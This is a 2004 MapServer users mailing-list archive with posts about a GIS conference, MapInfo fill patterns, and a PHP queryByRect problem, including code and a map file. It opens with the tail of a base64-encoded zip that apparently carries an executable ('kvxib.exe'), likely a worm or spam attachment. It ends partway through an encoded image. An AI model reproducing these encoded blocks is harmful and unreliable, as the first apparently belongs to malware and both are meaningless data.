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 ----------ezqvbzvfswxhwqqtkwch-- From Antti.Roppola at brs.gov.au Sun Jun 20 18:30:05 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Mon, 21 Jun 2004 11:30:05 +1000 Subject: [Mapserver-users] FW: Open source GIS proves its maturity wit h excellent conference Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87079FDAC4@afeb-ms-02> Thanks Tyler, I wish I could have been there, the program looks great. Does anyone know if proceedings will be available? Antti -----Original Message----- From: Tyler Mitchell [mailto:tjmitchell at riverside.bc.ca] Sent: Saturday, 19 June 2004 1:38 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] FW: Open source GIS proves its maturity with excellent conference I've started a weblog chronicle of the conference: http://www.onlamp.com/pub/wlg/5080 And plan to go into more depth over the upcoming days. If you have ideas, questions or comments feel free to email me directly or post a comment right on the site. Tyler _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From COUTUJF at dfo-mpo.gc.ca Sun Jun 20 19:33:58 2004 From: COUTUJF at dfo-mpo.gc.ca (COUTUJF at dfo-mpo.gc.ca) Date: Sun, 20 Jun 2004 22:33:58 -0400 Subject: [Mapserver-users] MapInfo brushes and others Message-ID: Hi everyone, Does MapServer supports brushes for polygons in MID, MIF files? If so, where can I find info on how to enable filling patterns? What about the 118 or so types of lines defined in MApInfo. Can mapserver draw them correctly? thanks, JF Canadian Coast Guard coutujf at dfo-mpo.gc.ca From v0463 at n-koei.co.jp Sun Jun 20 21:18:00 2004 From: v0463 at n-koei.co.jp (No dream more) Date: Mon, 21 Jun 2004 11:18:00 +0700 Subject: [Mapserver-users] How can I correct the queryByRect? References: Message-ID: <08f901c45746$bdf58d10$dca110ac@lamle> This is a multi-part message in MIME format. ------=_NextPart_000_08F5_01C45781.699A63E0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_08F6_01C45781.699A63E0" ------=_NextPart_001_08F6_01C45781.699A63E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear List, I am developing a function to select points in a rectangle.=20 The result of query will return the selected objects as image to client. I am customizing the JavaScript in the sample workshop to use ruber=20 band. The problem is the result of query always returns more points than = whatever I expected. Except the position of selection at the lowest point in the right corner = is correctly. Could you help me correct the query? Thank you. Lam, ------------- Result ------------------------------------------------------------- ----- PHP SCRIPT ------------------------------------------------------------- $this->mfMap->mapObj->queryByRect($this->queryextent) $imgObj =3D $this->mfMap->mapObj->prepareImage(); =20 =20 for($i=3D0;$i<$this->mfMap->mapObj->numlayers;$i++) { $layerItem =3D $this->mfMap->mapObj->getLayer($i); =20 file://$clsItem =3D ms_newClassObj($layerItem, = $layerItem->getClass(0)); $clsItem =3D $layerItem->getClass(0); =20 if($clsItem!=3Dnull){ =20 $styleItem =3D $clsItem->getStyle(0); $styleItem->color->setRGB(150 + 5*$i, 100 + 5*$i, 220 + 5*$i); =20 if($layerItem->open()=3D=3DMS_SUCCESS) { $numRs =3D $layerItem->getNumResults(); =20 if($numRs>0) { $names =3D $layerItem->getItems(); for($j=3D0;$j<$numRs;$j++) { $shCacheRsItem =3D $layerItem->getResult($j); $shpIdx =3D $shCacheRsItem->shapeindex; $shpTileIdx =3D $shCacheRsItem->tileindex; $shpClassIdx =3D $shCacheRsItem->classindex; =20 $shItem =3D $layerItem->getShape($shpTileIdx, $shpIdx); =20 =20 file://$shItem =3D $layerItem->getShape(-1, $j); =20 $shItem->draw($this->mfMap->mapObj, $layerItem, $imgObj); } }=20 } }=20 $layerItem->close(); }=20 =20 print "saveWebImage()."'>\n"; print "
"; =20 print "
"; ------------------------------------------------------------- --- MAP FILE ------------------------------------------------------------- LAYER # Cities label layer begins here. NAME estate DATA ab_point STATUS DEFAULT TYPE POINT =20 PROJECTION "init=3Depsg:4326" END =20 =20 TOLERANCE 1 CLASS NAME 'Federal Land' COLOR 150 100 150 OUTLINECOLOR 144 144 144 SIZE 50 TEMPLATE 'test1_query.html' =20 STYLE ANTIALIAS false =20 COLOR 204 0 0 =20 MAXSIZE 50 MINSIZE 1 OUTLINECOLOR 255 0 0 SIZE 5 =20 SYMBOL 2 END =20 =20 END # CLASS DUMP TRUE # allow GML export =20 END # Cities label layer ends here. ------=_NextPart_001_08F6_01C45781.699A63E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dear List,
I am developing a function to select = points in a=20 rectangle.
The result of query will return the selected objects = as image=20 to client.
I am customizing the JavaScript in the sample = workshop to use=20 ruber
band.
 
The problem is the result of query always returns = more points=20 than whatever I expected.
Except the position of selection at the = lowest point=20 in the right corner is correctly.
Could you help me correct the query?
Thank you.
Lam,
 
-------------
Result
 
3D""
 
-------------------------------------------------------------
----- PHP SCRIPT
-------------------------------------------------------------
$this->mfMap->mapObj->queryByRect($this->que= ryextent)
 
$imgObj =3D=20 $this->mfMap->mapObj->prepareImage();  
  = ;
  for($i=3D0;$i<$this->mfMap->mapObj->numlayer= s;$i++)
  {
   $layerItem=20 =3D=20 $this->mfMap->mapObj->getLayer($i);
   
&nb= sp;  file://$clsItem =3D = ms_newClassObj($layerItem,=20 $layerItem->getClass(0));
   $clsItem =3D=20 $layerItem->getClass(0);
   
   if= ($clsItem!=3Dnull){   
    $styleIt= em=20 =3D=20 $clsItem->getStyle(0);
    $styleItem->color= ->setRGB(150=20 + 5*$i, 100 + 5*$i, 220 +=20 5*$i);
    
    if($layerIt= em->open()=3D=3DMS_SUCCESS)
    {
 &nbs= p;   $numRs=20 =3D=20 $layerItem->getNumResults();    
  &n= bsp;  if($numRs>0)
     {
&nb= sp;     $names=20 =3D $layerItem->getItems();
 
      for($j=3D0;$j<$numRs;$j++= )
      {
    &nb= sp;  $shCacheRsItem=20  =3D=20 $layerItem->getResult($j);
      &nbs= p;$shpIdx=20   =3D=20 $shCacheRsItem->shapeindex;
      &nb= sp;$shpTileIdx=20  =3D=20 $shCacheRsItem->tileindex;
      &nbs= p;$shpClassIdx=20  =3D=20 $shCacheRsItem->classindex;
      &nb= sp;      
     =   $shItem=20   =3D $layerItem->getShape($shpTileIdx,=20 $shpIdx);      
    =    
       file://$shItem =3D = $layerItem->getShape(-1,=20 $j);      
     = ;  $shItem->draw($this->mfMap->mapObj,=20 $layerItem,=20 $imgObj);
      }
   &= nbsp; } 
    }
   }&nb= sp;
   $layerItem->close();
  }=20
  
  print "<img border=3D1=20 src=3D'".$imgObj->saveWebImage()."'>\n";
  print=20 "<br>";      
  print=20 "<BR>";
-------------------------------------------------------------
--- MAP FILE
-------------------------------------------------------------
LAYER # Cities label layer begins=20 here.
     =20 NAME        =20 estate
     =20 DATA        =20 ab_point
     =20 STATUS      =20 DEFAULT
     =20 TYPE         POINT
 =20
     =20 PROJECTION
       =20 "init=3Depsg:4326"
      END =20
    
     TOLERANCE=20 1
     = CLASS
       NAME=20 'Federal Land'
       COLOR 150 100=20 150
       OUTLINECOLOR 144 144=20 144
       SIZE=20 50
       TEMPLATE=20 'test1_query.html'
      =20
       STYLE
 ANTIALIAS=20 false  
 COLOR 204 0 0   
 MAXSIZE=20 50
 MINSIZE 1
 
 OUTLINECOLOR 255 0 0
 SIZE=20 5  
 SYMBOL 2
     =20 END     
     =20
     END  # = CLASS
     DUMP=20 TRUE # allow GML export    
    = END #=20 Cities label layer ends here.
------=_NextPart_001_08F6_01C45781.699A63E0-- ------=_NextPart_000_08F5_01C45781.699A63E0 Content-Type: image/jpeg; name="img1.jpg" Content-Transfer-Encoding: base64 Content-ID: <08f401c45746$bd391ae0$dca110ac at lamle> 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 rZOJr1WMLWoma6y9Ye1TOpOj8w1r2I1ZSrHEqPxauRFhdiQ/VzZLJzcExMTVgsF7FiJUlkluCWmF qRWCdqxJGvY2vIlXrz9I19zF6j0qfUPxswKioiIqoqPb6Fbf6zpM6dUNWXPkuRZjGbt28j4kz2ZY m0CwY5vBgO6ROWT4XJvd7v3YrGq7N6DrV0VTPWW9MCojcL5bsWHFlciZfWbQEDmz8/T0tbRMky5c FRr1xrekHLBFVLFWEVWHrW4/QABKBa/JKUtOu4ABTAMnn6jnuX3f+XoYo2RhijGF+H+X3msCNSdK WVZ5V5SoXbuAAU5gzaro8qqnpUOWCpg8MEguFbcWeKWdnbcaQI0nk3S9qOaOGAAUwCer0E15f1tK Cer0E15f1tKsozbDKAYlf1GopZ9jYS7kRbnesuo+oyqtINWD/Kv7WmnRpcuhleSrbr1OtT/JrtKC ep/k12lBl4RpZYABDQAAAAAAAAAAAAAAAAAAAAAAABPRfby9RncUE9F9vL1GdxQV5ZmuECOR06TI munsRcbsWJY34lj7snviWAzB0Vmk0nnIABTJm1n3tL/5vpKqujlVjUZOSLUXFCMI2Kn7yWs+9pf/ ADfSaRla8v6/2R3u3VeJ10fH/wBWOcmUkmW2W25qI1I9h8VFVKpkRZq4UW6xV7jufEySyakJjUci eZIm1HXBws25ayY35Cn57f4vBusEYLpYo5ix3VqN1ivili2tdk9Rw5aV+Q3eBuHc4sOFIRx3wL+S p+GzYQq4a/5eg8n8vxl1/wAVGfcnb1ajbYj4JatjXZfUe/l6Tz/K74Hfkqfhs2EHJU/DZsIa+Hc5 fZvX19zh+XpPP8rvgPy9J5/ld8DvyVPw2bCDkqfhs2EHw7j7N6+vucPy9J5/ld8B+XpPP8rvgd+S p+GzYQclT8Nmwg+HcfZvX19zh+XpPP8AK74D8vSef5XfA78lT8Nmwg5Kn4bNhB8O4+zevr7nD8vS ef5XfAfl6Tz/ACu+B35Kn4bNhByVPw2bCD4dx9m9fX3OH5ek8/yu+A/L0nn+V3wO/JU/DZsIOSp+ GzYQfDuPs3r6+5w/L0nn+V3wH5ek8/yu+B35Kn4bNhByVPw2bCD4dx9m9fX3OH5ek8/yu+A/L0nn +V3wO/JU/DZsIOSp+GzYQfDuPs3r6+5w/L0nn+V3wH5ek8/yu+B35Kn4bNhByVPw2bCD4dx9m9fX 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 